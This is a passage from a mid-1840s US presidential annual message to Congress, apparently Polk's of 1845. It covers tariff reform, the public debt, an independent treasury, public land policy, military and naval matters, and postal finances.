Our trade with\nthe Netherlands is highly beneficial to both countries and our relations\nwith them have ever been of the most friendly character. Under all the\ncircumstances of the case, I recommend that this discrimination should be\nabolished and that the coffee of Java imported from the Netherlands be\nplaced upon the same footing with that imported directly from Brazil and\nother countries where it is produced.Under the eighth section of the tariff act of the 30th of August, 1842, a\nduty of 15 cents per gallon was imposed on port wine in casks, while on the\nred wines of several other countries, when imported in casks, a duty of\nonly 6 cents per gallon was imposed. This discrimination, so far as\nregarded the port wine of Portugal, was deemed a violation of our treaty\nwith that power, which provides that--No higher or other duties shall be imposed on the importation into the\nUnited States of America of any article the growth, produce, or manufacture\nof the Kingdom and possessions of Portugal than such as are or shall be\npayable on the like article being the growth, produce, or manufacture of\nany other foreign country.Accordingly, to give effect to the treaty as well as to the intention of\nCongress, expressed in a proviso to the tariff act itself, that nothing\ntherein contained should be so construed as to interfere with subsisting\ntreaties with foreign nations, a Treasury circular was issued on the 16th\nof July, 1844, which, among other things, declared the duty on the port\nwine of Portugal, in casks, under the existing laws and treaty to be 6\ncents per gallon, and directed that the excess of duties which had been\ncollected on such wine should be refunded. By virtue of another clause in\nthe same section of the act it is provided that all imitations of port or\nany other wines \"shall be subject to the duty provided for the genuine\narticle.\" Imitations of port wine, the production of France, are imported\nto some extent into the United States, and the Government of that country\nnow claims that under a correct construction of the act these imitations\nought not to pay a higher duty than that imposed upon the original port\nwine of Portugal. It appears to me to be unequal and unjust that French\nimitations of port wine should be subjected to a duty of 15 cents, while\nthe more valuable article from Portugal should pay a duty of 6 cents only\nper gallon. I therefore recommend to Congress such legislation as may be\nnecessary to correct the inequality.The late President, in his annual message of December last, recommended an\nappropriation to satisfy the claims of the Texan Government against the\nUnited States, which had been previously adjusted so far as the powers of\nthe Executive extend. These claims arose out of the act of disarming a body\nof Texan troops under the command of Major Snively by an officer in the\nservice of the United States, acting under the orders of our Government,\nand the forcible entry into the custom-house at Bryarlys Landing, on Red\nRiver, by certain citizens of the United States and taking away therefrom\nthe goods seized by the collector of the customs as forfeited under the\nlaws of Texas. This was a liquidated debt ascertained to be due to Texas\nwhen an independent state. Her acceptance of the terms of annexation\nproposed by the United States does not discharge or invalidate the claim. I\nrecommend that provision be made for its payment.The commissioner appointed to China during the special session of the\nSenate in March last shortly afterwards set out on his mission in the\nUnited States ship Columbus. On arriving at Rio de Janeiro on his passage\nthe state of his health had become so critical that by the advice of his\nmedical attendants he returned to the United States early in the month of\nOctober last. Commodore Biddle, commanding the East India Squadron,\nproceeded on his voyage in the Columbus, and was charged by the\ncommissioner with the duty of exchanging with the proper authorities the\nratifications of the treaty lately concluded with the Emperor of China.\nSince the return of the commissioner to the United States his health has\nbeen much improved, and he entertains the confident belief that he will\nsoon be able to proceed on his mission.Unfortunately, differences continue to exist among some of the nations of\nSouth America which, following our example, have established their\nindependence, while in others internal dissensions prevail. It is natural\nthat our sympathies should be warmly enlisted for their welfare; that we\nshould desire that all controversies between them should be amicably\nadjusted and their Governments administered in a manner to protect the\nrights and promote the prosperity of their people. It is contrary, however,\nto our settled policy to interfere in their controversies, whether external\nor internal.I have thus adverted to all the subjects connected with our foreign\nrelations to which I deem it necessary to call your attention. Our policy\nis not only peace with all, but good will toward all the powers of the\nearth. While we are just to all, we require that all shall be just to us.\nExcepting the differences with Mexico and Great Britain, our relations with\nall civilized nations are of the most satisfactory character. It is hoped\nthat in this enlightened age these differences may be amicably adjusted.The Secretary of the Treasury in his annual report to Congress will\ncommunicate a full statement of the condition of our finances. The imports\nfor the fiscal year ending on the 30th of June last were of the value of\n$117,254,564, of which the amount exported was $15,346,830, leaving a\nbalance of $101,907,734 for domestic consumption. The exports for the same\nyear were of the value of $114,646,606, of which the amount of domestic\narticles was $99,299,776. The receipts into the Treasury during the same\nyear were $29,769,133.56, of which there were derived from customs\n$27,528,122.70, from sales of public lands $2,077,022.30, and from\nincidental and miscellaneous sources $163,998.56. The expenditures for the\nsame period were $29,968,206.98, of which $8,588,157.62 were applied to the\npayment of the public debt. The balance in the Treasury on the 1st of July\nlast was $7,658,306.22. The amount of the public debt remaining unpaid on\nthe 1st of October last was $17,075,445.52. Further payments of the public\ndebt would have been made, in anticipation of the period of its\nreimbursement under the authority conferred upon the Secretary of the\nTreasury by the acts of July 21, 1841, and of April 15, 1842, and March 3,\n1843, had not the unsettled state of our relations with Mexico menaced\nhostile collision with that power. In view of such a contingency it was\ndeemed prudent to retain in the Treasury an amount unusually large for\nordinary purposes.A few years ago our whole national debt growing out of the Revolution and\nthe War of 1812 with Great Britain was extinguished, and we presented to\nthe world the rare and noble spectacle of a great and growing people who\nhad fully discharged every obligation. Since that time the existing debt\nhas been contracted, and, small as it is in comparison with the similar\nburdens of most other nations, it should be extinguished at the earliest\npracticable period. Should the state of the country permit, and especially\nif our foreign relations interpose no obstacle, it is contemplated to apply\nall the moneys in the Treasury as they accrue, beyond what is required for\nthe appropriations by Congress, to its liquidation. I cherish the hope of\nsoon being able to congratulate the country on its recovering once more the\nlofty position which it so recently occupied. Our country, which exhibits\nto the world the benefits of self-government, in developing all the sources\nof national prosperity owes to mankind the permanent example of a nation\nfree from the blighting influence of a public debt.The attention of Congress is invited to the importance of making suitable\nmodifications and reductions of the rates of duty imposed by our present\ntariff laws. The object of imposing duties on imports should be to raise\nrevenue to pay the necessary expenses of Government. Congress may\nundoubtedly, in the exercise of a sound discretion, discriminate in\narranging the rates of duty on different articles, but the discriminations\nshould be within the revenue standard and be made with the view to raise\nmoney for the support of Government.It becomes important to understand distinctly what is meant by a revenue\nstandard the maximum of which should not be exceeded in the rates of duty\nimposed. It is conceded, and experience proves, that duties may be laid so\nhigh as to diminish or prohibit altogether the importation of any given\narticle, and thereby lessen or destroy the revenue which at lower rates\nwould be derived from its importation. Such duties exceed the revenue rates\nand are not imposed to raise money for the support of Government. If\nCongress levy a duty for revenue of 1 per cent on a given article, it will\nproduce a given amount of money to the Treasury and will incidentally and\nnecessarily afford protection or advantage to the amount of 1 per cent to\nthe home manufacturer of a similar or like article over the importer. If\nthe duty be raised to 10 per cent, it will produce a greater amount of\nmoney and afford greater protection. If it be still raised to 20, 25, or 30\nper cent, and if as it is raised the revenue derived from it is found to be\nincreased, the protection or advantage will also be increased; but if it be\nraised to 31 per cent, and it is found that the revenue produced at that\nrate is less than at 30 per cent, it ceases to be a revenue duty. The\nprecise point in the ascending scale of duties at which it is ascertained\nfrom experience that the revenue is greatest is the maximum rate of duty\nwhich can be laid for the bona fide purpose of collecting money for the\nsupport of Government. To raise the duties higher than that point, and\nthereby diminish the amount collected, is to levy them for protection\nmerely, and not for revenue. As long, then, as Congress may gradually\nincrease the rate of duty on a given article, and the revenue is increased\nby such increase of duty, they are within the revenue standard. When they\ngo beyond that point, and as they increase the duties, the revenue is\ndiminished or destroyed; the act ceases to have for its object the raising\nof money to support Government, but is for protection merely. It does not\nfollow that Congress should levy the highest duty on all articles of import\nwhich they will bear within the revenue standard, for such rates would\nprobably produce a much larger amount than the economical administration of\nthe Government would require. Nor does it follow that the duties on all\narticles should be at the same or a horizontal rate. Some articles will\nbear a much higher revenue duty than others. Below the maximum of the\nrevenue standard Congress may and ought to discriminate in the rates\nimposed, taking care so to adjust them on different articles as to produce\nin the aggregate the amount which, when added to the proceeds of the sales\nof public lands, may be needed to pay the economical expenses of the\nGovernment.In levying a tariff of duties Congress exercise the taxing power, and for\npurposes of revenue may select the objects of taxation. They may exempt\ncertain articles altogether and permit their importation free of duty. On\nothers they may impose low duties. In these classes should be embraced such\narticles of necessity as are in general use, and especially such as are\nconsumed by the laborer and poor as well as by the wealthy citizen. Care\nshould be taken that all the great interests of the country, including\nmanufactures, agriculture, commerce, navigation, and the mechanic arts,\nshould, as far as may be practicable, derive equal advantages from the\nincidental protection which a just system of revenue duties may afford.\nTaxation, direct or indirect, is a burden, and it should be so imposed as\nto operate as equally as may be on all classes in the proportion of their\nability to bear it. To make the taxing power an actual benefit to one class\nnecessarily increases the burden of the others beyond their proportion, and\nwould be manifestly unjust. The terms \"protection to domestic industry\" are\nof popular import, but they should apply under a just system to all the\nvarious branches of industry in our country. The farmer or planter who\ntoils yearly in his fields is engaged in \"domestic industry,\" and is as\nmuch entitled to have his labor \"protected\" as the manufacturer, the man of\ncommerce, the navigator, or the mechanic, who are engaged also in \"domestic\nindustry\" in their different pursuits. The joint labors of all these\nclasses constitute the aggregate of the \"domestic industry\" of the nation,\nand they are equally entitled to the nation's \"protection.\" No one of them\ncan justly claim to be the exclusive recipient of \"protection,\" which can\nonly be afforded by increasing burdens on the \"domestic industry\" of the\nothers.If these views be correct, it remains to inquire how far the tariff act of\n1842 is consistent with them. That many of the provisions of that act are\nin violation of the cardinal principles here laid down all must concede.\nThe rates of duty imposed by it on some articles are prohibitory and on\nothers so high as greatly to diminish importations and to produce a less\namount of revenue than would be derived from lower rates. They operate as\n\"protection merely\" to one branch of \"domestic industry\" by taxing other\nbranches.By the introduction of minimums, or assumed and false values, and by the\nimposition of specific duties the injustice and inequality of the act of\n1842 in its practical operations on different classes and pursuits are seen\nand felt. Many of the oppressive duties imposed by it under the operation\nof these principles range from 1 per cent to more than 200 per cent. They\nare prohibitory on some articles and partially so on others, and bear most\nheavily on articles of common necessity and but lightly on articles of\nluxury. It is so framed that much the greatest burden which it imposes is\nthrown on labor and the poorer classes, who are least able to bear it,\nwhile it protects capital and exempts the rich from paying their just\nproportion of the taxation required for the support of Government. While it\nprotects the capital of the wealthy manufacturer and increases his profits,\nit does not benefit the operatives or laborers in his employment, whose\nwages have not been increased by it. Articles of prime necessity or of\ncoarse quality and low price, used by the masses of the people, are in many\ninstances subjected by it to heavy taxes, while articles of finer quality\nand higher price, or of luxury, which can be used only by the opulent, are\nlightly taxed. It imposes heavy and unjust burdens on the farmer, the\nplanter, the commercial man, and those of all other pursuits except the\ncapitalist who has made his investments in manufactures. All the great\ninterests of the country are not as nearly as may be practicable equally\nprotected by it.The Government in theory knows no distinction of persons or classes, and\nshould not bestow upon some favors and privileges which all others may not\nenjoy. It was the purpose of its illustrious founders to base the\ninstitutions which they reared upon the great and unchanging principles of\njustice and equity, conscious that if administered in the spirit in which\nthey were conceived they would be felt only by the benefits which they\ndiffused, and would secure for themselves a defense in the hearts of the\npeople more powerful than standing armies and all the means and appliances\ninvented to sustain governments founded in injustice and oppression.The well-known fact that the tariff act of 1842 was passed by a majority of\none vote in the Senate and two in the House of Representatives, and that\nsome of those who felt themselves constrained, under the peculiar\ncircumstances existing at the time, to vote in its favor, proclaimed its\ndefects and expressed their determination to aid in its modification on the\nfirst opportunity, affords strong and conclusive evidence that it was not\nintended to be permanent, and of the expediency and necessity of its\nthorough revision.In recommending to Congress a reduction of the present rates of duty and a\nrevision and modification of the act of 1842, I am far from entertaining\nopinions unfriendly to the manufacturers. On the contrary, I desire to see\nthem prosperous as far as they can be so without imposing unequal burdens\non other interests. The advantage under any system of indirect taxation,\neven within the revenue standard, must be in favor of the manufacturing\ninterest, and of this no other interest will complain.I recommend to Congress the abolition of the minimum principle, or assumed,\narbitrary, and false values, and of specific duties, and the substitution\nin their place of ad valorem duties as the fairest and most equitable\nindirect tax which can be imposed. By the ad valorem principle all articles\nare taxed according to their cost or value, and those which are of inferior\nquality or of small cost bear only the just proportion of the tax with\nthose which are of superior quality or greater cost. The articles consumed\nby all are taxed at the same rate. A system of ad valorem revenue duties,\nwith proper discriminations and proper guards against frauds in collecting\nthem, it is not doubted will afford ample incidental advantages to the\nmanufacturers and enable them to derive as great profits as can be derived\nfrom any other regular business. It is believed that such a system strictly\nwithin the revenue standard will place the manufacturing interests on a\nstable footing and inure to their permanent advantage, while it will as\nnearly as may be practicable extend to all the great interests of the\ncountry the incidental protection which can be afforded by our revenue\nlaws. Such a system, when once firmly established, would be permanent, and\nnot be subject to the constant complaints, agitations, and changes which\nmust ever occur when duties are not laid for revenue, but for the\n\"protection merely\" of a favored interest.In the deliberations of Congress on this subject it is hoped that a spirit\nof mutual concession and compromise between conflicting interests may\nprevail, and that the result of their labors may be crowned with the\nhappiest consequences.By the Constitution of the United States it is provided that \"no money\nshall be drawn from the Treasury but in consequence of appropriations made\nby law.\" A public treasury was undoubtedly contemplated and intended to be\ncreated, in which the public money should be kept from the period of\ncollection until needed for public uses. In the collection and disbursement\nof the public money no agencies have ever been employed by law except such\nas were appointed by the Government, directly responsible to it and under\nits control. The safe-keeping of the public money should be confided to a\npublic treasury created by law and under like responsibility and control.\nIt is not to be imagined that the framers of the Constitution could have\nintended that a treasury should be created as a place of deposit and\nsafe-keeping of the public money which was irresponsible to the Government.\nThe first Congress under the Constitution, by the act of the 2d of\nSeptember, 1789, \"to establish the Treasury Department,\" provided for the\nappointment of a Treasurer, and made it his duty \"to receive and keep the\nmoneys of the United States\" and \"at all times to submit to the Secretary\nof the Treasury and the Comptroller, or either of them, the inspection of\nthe moneys in his hands.\"That banks, national or State, could not have been intended to be used as a\nsubstitute for the Treasury spoken of in the Constitution as keepers of the\npublic money is manifest from the fact that at that time there was no\nnational bank, and but three or four State banks, of limited Capital,\nexisted in the country. Their employment as depositories was at first\nresorted to to a limited extent, but with no avowed intention of continuing\nthem permanently in place of the Treasury of the Constitution. When they\nwere afterwards from time to time employed, it was from motives of supposed\nconvenience. Our experience has shown that when banking corporations have\nbeen the keepers of the public money, and been thereby made in effect the\nTreasury, the Government can have no guaranty that it can command the use\nof its own money for public purposes. The late Bank of the United States\nproved to be faithless. The State banks which were afterwards employed were\nfaithless. But a few years ago, with millions of public money in their\nkeeping, the Government was brought almost to bankruptcy and the public\ncredit seriously impaired because of their inability or indisposition to\npay on demand to the public creditors in the only currency recognized by\nthe Constitution. Their failure occurred in a period of peace, and great\ninconvenience and loss were suffered by the public from it. Had the country\nbeen involved in a foreign war, that inconvenience and loss would have been\nmuch greater, and might have resulted in extreme public calamity. The\npublic money should not be mingled with the private funds of banks or\nindividuals or be used for private purposes. When it is placed in banks for\nsafe-keeping, it is in effect loaned to them without interest, and is\nloaned by them upon interest to the borrowers from them. The public money\nis converted into banking capital, and is used and loaned out for the\nprivate profit of bank stockholders, and when called for, as was the case\nin 1837, it may be in the pockets of the borrowers from the banks instead\nof being in the public Treasury contemplated by the Constitution. The\nframers of the Constitution could never have intended that the money paid\ninto the Treasury should be thus converted to private use and placed beyond\nthe control of the Government.Banks which hold the public money are often tempted by a desire of gain to\nextend their loans, increase their circulation, and thus stimulate, if not\nproduce, a spirit of speculation and extravagance which sooner or later\nmust result in ruin to thousands. If the public money be not permitted to\nbe thus used, but be kept in the Treasure and paid out to the public\ncreditors in gold and silver, the temptation afforded by its deposit with\nbanks to an undue expansion of their business would be checked, while the\namount of the constitutional currency left in circulation would be enlarged\nby its employment in the public collections and disbursements, and the\nbanks themselves would in consequence be found in a safer and sounder\ncondition. At present State banks are employed as depositories, but without\nadequate regulation of law whereby the public money can be secured against\nthe casualties and excesses, revulsions, suspensions, and defalcations to\nwhich from overissues, overtrading, an inordinate desire for gain, or other\ncauses they are constantly exposed. The Secretary of the Treasury has in\nall cases when it was practicable taken collateral security for the amount\nwhich they hold, by the pledge of stocks of the United States or such of\nthe States as were in good credit. Some of the deposit banks have given\nthis description of security and others have declined to do so.Entertaining the opinion that \"the separation of the moneys of the\nGovernment from banking institutions is indispensable for the safety of the\nfunds of the Government and the rights of the people,\" I recommend to\nCongress that provision be made by law for such separation, and that a\nconstitutional treasury be created for the safe-keeping of the public\nmoney. The constitutional treasury recommended is designed as a secure\ndepository for the public money, without any power to make loans or\ndiscounts or to issue any paper whatever as a currency or circulation. I\ncan not doubt that such a treasury as was contemplated by the Constitution\nshould be independent of all banking corporations. The money of the people\nshould be kept in the Treasury of the people created by law, and be in the\ncustody of agents of the people chosen by themselves according to the forms\nof the Constitution--agents who are directly responsible to the Government,\nwho are under adequate bonds and oaths, and who are subject to severe\npunishments for any embezzlement, private use, or misapplication of the\npublic funds, and for any failure in other respects to perform their\nduties. To say that the people or their Government are incompetent or not\nto be trusted with the custody of their own money in their own Treasury,\nprovided by themselves, but must rely on the presidents, cashiers, and\nstockholders of banking corporations, not appointed by them nor responsible\nto them, would be to concede that they are incompetent for\nself-government.In recommending the establishment of a constitutional treasury in which the\npublic money shall be kept, I desire that adequate provision be made by law\nfor its safety and that all Executive discretion or control over it shall\nbe removed, except such as may be necessary in directing its disbursement\nin pursuance of appropriations made by law.Under our present land system, limiting the minimum price at which the\npublic lands can be entered to $1.25 per acre, large quantities of lands of\ninferior quality remain unsold because they will not command that price.\nFrom the records of the General Land Office it appears that of the public\nlands remaining unsold in the several States and Territories in which they\nare situated, 39,105,577 acres have been in the market subject to entry\nmore than twenty years, 49,638,644 acres for more than fifteen years,\n73,074,600 acres for more than ten years, and 106,176,961 acres for more\nthan five years. Much the largest portion of these lands will continue to\nbe unsalable at the minimum price at which they are permitted to be sold so\nlong as large territories of lands from which the more valuable portions\nhave not been selected are annually brought into market by the Government.\nWith the view to the sale and settlement of these inferior lands, I\nrecommend that the price be graduated and reduced below the present minimum\nrate, confining the sales at the reduced prices to settlers and\ncultivators, in limited quantities. If graduated and reduced in price for a\nlimited term to $1 per acre, and after the expiration of that period for a\nsecond and third term to lower rates, a large portion of these lands would\nbe purchased, and many worthy citizens who are unable to pay higher rates\ncould purchase homes for themselves and their families. By adopting the\npolicy of graduation and reduction of price these inferior lands will be\nsold for their real value, while the States in which they lie will be freed\nfrom the inconvenience, if not injustice, to which they are subjected in\nconsequence of the United States continuing to own large quantities of the\npublic lands within their borders not liable to taxation for the support of\ntheir local governments.I recommend the continuance of the policy of granting preemptions in its\nmost liberal extent to all those who have settled or may hereafter settle\non the public lands, whether surveyed or unsurveyed, to which the Indian\ntitle may have been extinguished at the time of settlement. It has been\nfound by experience that in consequence of combinations of purchasers and\nother causes a very small quantity of the public lands, when sold at public\nauction, commands a higher price than the minimum rates established by law.\nThe settlers on the public lands are, however, but rarely able to secure\ntheir homes and improvements at the public sales at that rate, because\nthese combinations, by means of the capital they command and their superior\nability to purchase, render it impossible for the settler to compete with\nthem in the market. By putting down all competition these combinations of\ncapitalists and speculators are usually enabled to purchase the lands,\nincluding the improvements of the settlers, at the minimum price of the\nGovernment, and either turn them out of their homes or extort from them,\naccording to their ability to pay, double or quadruple the amount paid for\nthem to the Government. It is to the enterprise and perseverance of the\nhardy pioneers of the West, who penetrate the wilderness with their\nfamilies, suffer the dangers, the privations, and hardships attending the\nsettlement of a new country, and prepare the way for the body of emigrants\nwho in the course of a few years usually follow them, that we are in a\ngreat degree indebted for the rapid extension and aggrandizement of our\ncountry.Experience has proved that no portion of our population are more patriotic\nthan the hardy and brave men of the frontier, or more ready to obey the\ncall of their country and to defend her rights and her honor whenever and\nby whatever enemy assailed. They should be protected from the grasping\nspeculator and secured, at the minimum price of the public lands, in the\nhumble homes which they have improved by their labor. With this end in\nview, all vexatious or unnecessary restrictions imposed upon them by the\nexisting preemption laws should be repealed or modified. It is the true\npolicy of the Government to afford facilities to its citizens to become the\nowners of small portions of our vast public domain at low and moderate\nrates.The present system of managing the mineral lands of the United States is\nbelieved to be radically defective. More than 1,000,000 acres of the public\nlands, supposed to contain lead and other minerals, have been reserved from\nsale, and numerous leases upon them have been granted to individuals upon a\nstipulated rent. The system of granting leases has proved to be not only\nunprofitable to the Government, but unsatisfactory to the citizens who have\ngone upon the lands, and must, if continued, lay the foundation of much\nfuture difficulty between the Government and the lessees. According to the\nofficial records, the amount of rents received by the Government for the\nyears 1841, 1842, 1843, and 1844 was $6,354.74, while the expenses of the\nsystem during the same period, including salaries of superintendents,\nagents, clerks, and incidental expenses, were $26,111.11, the income being\nless than one-fourth of the expenses. To this pecuniary loss may be added\nthe injury sustained by the public in consequence of the destruction of\ntimber and the careless and wasteful manner of working the mines. The\nsystem has given rise to much litigation between the United States and\nindividual citizens, producing irritation and excitement in the mineral\nregion, and involving the Government in heavy additional expenditures. It\nis believed that similar losses and embarrassments will continue to occur\nwhile the present System of leasing these lands remains unchanged. These\nlands are now under the superintendence and care of the War Department,\nwith the ordinary duties of which they have no proper or natural\nconnection. I recommend the repeal of the present system, and that these\nlands be placed under the superintendence and management of the General\nLand Office, as other public lands, and be brought into market and sold\nupon such terms as Congress in their wisdom may prescribe, reserving to the\nGovernment an equitable percentage of the gross amount of mineral product,\nand that the preemption principle be extended to resident miners and\nsettlers upon them at the minimum price which may be established by\nCongress.I refer you to the accompanying report of the Secretary of War for\ninformation respecting the present situation of the Army and its operations\nduring the past year, the state of our defenses, the condition of the\npublic works, and our relations with the various Indian tribes within our\nlimits or upon our borders. I invite your attention to the suggestions\ncontained in that report in relation to these prominent objects of national\ninterest. When orders were given during the past summer for concentrating a\nmilitary force on the western frontier of Texas, our troops were widely\ndispersed and in small detachments, occupying posts remote from each other.\nThe prompt and expeditious manner in which an army embracing more than half\nour peace establishment was drawn together on an emergency so sudden\nreflects great credit on the officers who were intrusted with the execution\nof these orders, as well as upon the discipline of the Army itself. To be\nin strength to protect and defend the people and territory of Texas in the\nevent Mexico should commence hostilities or invade her territories with a\nlarge army, which she threatened, I authorized the general assigned to the\ncommand of the army of occupation to make requisitions for additional\nforces from several of the States nearest the Texan territory, and which\ncould most expeditiously furnish them, if in his opinion a larger force\nthan that under his command and the auxiliary aid which under like\ncircumstances he was authorized to receive from Texas should be required.\nThe contingency upon which the exercise of this authority depended has not\noccurred. The circumstances under which two companies of State artillery\nfrom the city of New Orleans were sent into Texas and mustered into the\nservice of the United States are fully stated in the report of the\nSecretary of War. I recommend to Congress that provision be made for the\npayment of these troops, as well as a small number of Texan volunteers whom\nthe commanding general thought it necessary to receive or muster into our\nservice.During the last summer the First Regiment of Dragoons made extensive\nexcursions through the Indian country on our borders, a part of them\nadvancing nearly to the possessions of the Hudsons Bay Company in the\nnorth, and a part as far as the South Pass of the Rocky Mountains and the\nhead waters of the tributary streams of the Colorado of the West. The\nexhibition of this military force among the Indian tribes in those distant\nregions and the councils held with them by the commanders of the\nexpeditions, it is believed, will have a salutary influence in restraining\nthem from hostilities among themselves and maintaining friendly relations\nbetween them and the United States. An interesting account of one of these\nexcursions accompanies the report of the Secretary of War. Under the\ndirections of the War Department Brevet Captain Fremont, of the Corps of\nTopographical Engineers, has been employed since 1842 in exploring the\ncountry west of the Mississippi and beyond the Rocky Mountains. Two\nexpeditions have already been brought to a close, and the reports of that\nscientific and enterprising officer have furnished much interesting and\nvaluable information. He is now engaged in a third expedition, but it is\nnot expected that this arduous service will be completed in season to\nenable me to communicate the result to Congress at the present session.Our relations with the Indian tribes are of a favorable character. The\npolicy of removing them to a country designed for their permanent residence\nwest of the Mississippi, and without the limits of the organized States and\nTerritories, is better appreciated by them than it was a few years ago,\nwhile education is now attended to and the habits of civilized life are\ngaining ground among them.Serious difficulties of long standing continue to distract the several\nparties into which the Cherokees are unhappily divided. The efforts of the\nGovernment to adjust the difficulties between them have heretofore proved\nunsuccessful, and there remains no probability that this desirable object\ncan be accomplished without the aid of further legislation by Congress. I\nwill at an early period of your session present the subject for your\nconsideration, accompanied with an exposition of the complaints and claims\nof the several parties into which the nation is divided, with a view to the\nadoption of such measures by Congress as may enable the Executive to do\njustice to them, respectively, and to put an end, if possible, to the\ndissensions which have long prevailed and still prevail among them.I refer you to the report of the Secretary of the Navy for the present\ncondition of that branch of the national defense and for grave suggestions\nhaving for their object the increase of its efficiency and a greater\neconomy in its management. During the past year the officers and men have\nperformed their duty in a satisfactory manner. The orders which have been\ngiven have been executed with promptness and fidelity. A larger force than\nhas often formed one squadron under our flag was readily concentrated in\nthe Gulf of Mexico, and apparently without unusual effort. It is especially\nto be observed that notwithstanding the union of so considerable a force,\nno act was committed that even the jealousy of an irritated power could\nconstrue as an act of aggression, and that the commander of the squadron\nand his officers, in strict conformity with their instructions, holding\nthemselves ever ready for the most active duty, have achieved the still\npurer glory of contributing to the preservation of peace. It is believed\nthat at all our foreign stations the honor of our flag has been maintained\nand that generally our ships of war have been distinguished for their good\ndiscipline and order. I am happy to add that the display of maritime force\nwhich was required by the events of the summer has been made wholly within\nthe usual appropriations for the service of the year, so that no additional\nappropriations are required.The commerce of the United States, and with it the navigating interests,\nhave steadily and rapidly increased since the organization of our\nGovernment, until, it is believed, we are now second to but one power in\nthe world, and at no distant day we shall probably be inferior to none.\nExposed as they must be, it has been a wise policy to afford to these\nimportant interests protection with our ships of war distributed in the\ngreat highways of trade throughout the world. For more than thirty years\nappropriations have been made and annually expended for the gradual\nincrease of our naval forces. In peace our Navy performs the important duty\nof protecting our commerce, and in the event of war will be, as it has\nbeen, a most efficient means of defense.The successful use of steam navigation on the ocean has been followed by\nthe introduction of war steamers in great and increasing numbers into the\nnavies of the principal maritime powers of the world. A due regard to our\nown safety and to an efficient protection to our large and increasing\ncommerce demands a corresponding increase on our part. No country has\ngreater facilities for the construction of vessels of this description than\nours, or can promise itself greater advantages from their employment. They\nare admirably adapted to the protection of our commerce, to the rapid\ntransmission of intelligence, and to the coast defense. In pursuance of the\nwise policy of a gradual increase of our Navy, large supplies of live-oak\ntimber and other materials for shipbuilding have been collected and are now\nunder shelter and in a state of good preservation, while iron steamers can\nbe built with great facility in various parts of the Union. The use of iron\nas a material, especially in the construction of steamers which can enter\nwith safety many of the harbors along our coast now inaccessible to vessels\nof greater draft, and the practicability of constructing them in the\ninterior, strongly recommend that liberal appropriations should be made for\nthis important object. Whatever may have been our policy in the earlier\nstages of the Government, when the nation was in its infancy, our shipping\ninterests and commerce comparatively small, our resources limited, our\npopulation sparse and scarcely extending beyond the limits of the original\nthirteen States, that policy must be essentially different now that we have\ngrown from three to more than twenty millions of people, that our commerce,\ncarried in our own ships, is found in every sea, and that our territorial\nboundaries and settlements have been so greatly expanded. Neither our\ncommerce nor our long line of coast on the ocean and on the Lakes can be\nsuccessfully defended against foreign aggression by means of fortifications\nalone. These are essential at important commercial and military points, but\nour chief reliance for this object must be on a well-organized, efficient\nnavy. The benefits resulting from such a navy are not confined to the\nAtlantic States. The productions of the interior which seek a market abroad\nare directly dependent on the safety and freedom of our commerce. The\noccupation of the Balize below New Orleans by a hostile force would\nembarrass, if not stagnate, the whole export trade of the Mississippi and\naffect the value of the agricultural products of the entire valley of that\nmighty river and its tributaries.It has never been our policy to maintain large standing armies in time of\npeace. They are contrary to the genius of our free institutions, would\nimpose heavy burdens on the people and be dangerous to public liberty. Our\nreliance for protection and defense on the land must be mainly on our\ncitizen soldiers, who will be ever ready, as they ever have been ready in\ntimes past, to rush with alacrity, at the call of their country, to her\ndefense. This description of force, however, can not defend our coast,\nharbors, and inland seas, nor protect our commerce on the ocean or the\nLakes. These must be protected by our Navy.Considering an increased naval force, and especially of steam vessels,\ncorresponding with our growth and importance as a nation, and proportioned\nto the increased and increasing naval power of other nations, of vast\nimportance as regards our safety, and the great and growing interests to be\nprotected by it, I recommend the subject to the favorable consideration of\nCongress.The report of the Postmaster-General herewith communicated contains a\ndetailed statement of the operations of his Department during the pass\nyear. It will be seen that the income from postages will fall short of the\nexpenditures for the year between $1,000,000 and $2,000,000. This\ndeficiency has been caused by the reduction of the rates of postage, which\nwas made by the act of the 3d of March last. No principle has been more\ngenerally acquiesced in by the people than that this Department should\nsustain itself by limiting its expenditures to its income. Congress has\nnever sought to make it a source of revenue for general purposes except for\na short period during the last war with Great Britain, nor should it ever\nbecome a charge on the general Treasury. If Congress shall adhere to this\nprinciple, as I think they ought, it will be necessary either to curtail\nthe present mail service so as to reduce the expenditures, or so to modify\nthe act of the 3d of March last as to improve its revenues. The extension\nof the mail service and the additional facilities which will be demanded by\nthe rapid extension and increase of population on our western frontier will\nnot admit of such curtailment as will materially reduce the present\nexpenditures. In the adjustment of the tariff of postages the interests of\nthe people demand that the lowest rates be adopted which will produce the\nnecessary revenue to meet the expenditures of the Department. I invite the\nattention of Congress to the suggestions of the Postmaster-General on this\nsubject, under the belief that such a modification of the late law may be\nmade as will yield sufficient revenue without further calls on the\nTreasury, and with very little change in the present rates of postage.\nProper measures have been taken in pursuance of the act of the 3d of March\nlast for the establishment of lines of mail steamers between this and\nforeign countries. The importance of this service commends itself strongly\nto favorable consideration.With the growth of our country the public business which devolves on the\nheads of the several Executive Departments has greatly increased. In some\nrespects the distribution of duties among them seems to be incongruous, and\nmany of these might be transferred from one to another with advantage to\nthe public interests. A more auspicious time for the consideration of this\nsubject by Congress, with a view to system in the organization of the\nseveral Departments and a more appropriate division of the public business,\nwill not probably occur.The most important duties of the State Department relate to our foreign\naffairs. By the great enlargement of the family of nations, the increase of\nour commerce, and the corresponding extension of our consular system the\nbusiness of this Department has been greatly increased. In its present\norganization many duties of a domestic nature and consisting of details are\ndevolved on the Secretary of State, which do not appropriately belong to\nthe foreign department of the Government and may properly be transferred to\nsome other Department. One of these grows out of the present state of the\nlaw concerning the Patent Office, which a few years since was a subordinate\nclerkship, but has become a distinct bureau of great importance. With an\nexcellent internal organization, it is still connected with the State\nDepartment. In the transaction of its business questions of much importance\nto inventors and to the community frequently arise, which by existing laws\nare referred for decision to a board of which the Secretary of State is a\nmember. These questions are legal, and the connection which now exists\nbetween the State Department and the Patent Office may with great propriety\nand advantage be transferred to the Attorney-General.In his last annual message to Congress Mr. Madison invited attention to a\nproper provision for the Attorney-General as \"an important improvement in\nthe executive establishment.\" This recommendation was repeated by some of\nhis successors. The official duties of the Attorney-General have been much\nincreased within a few years, and his office has become one of great\nimportance. His duties may be still further increased with advantage to the\npublic interests. As an executive officer his residence and constant\nattention at the seat of Government are required. Legal questions involving\nimportant principles and large amounts of public money are constantly\nreferred to him by the President and Executive Departments for his\nexamination and decision. The public business under his official management\nbefore the judiciary has been so augmented by the extension of our\nterritory and the acts of Congress authorizing suits against the United\nStates for large bodies of valuable public lands as greatly to increase his\nlabors and responsibilities. I therefore recommend that the\nAttorney-General be placed on the same footing with the 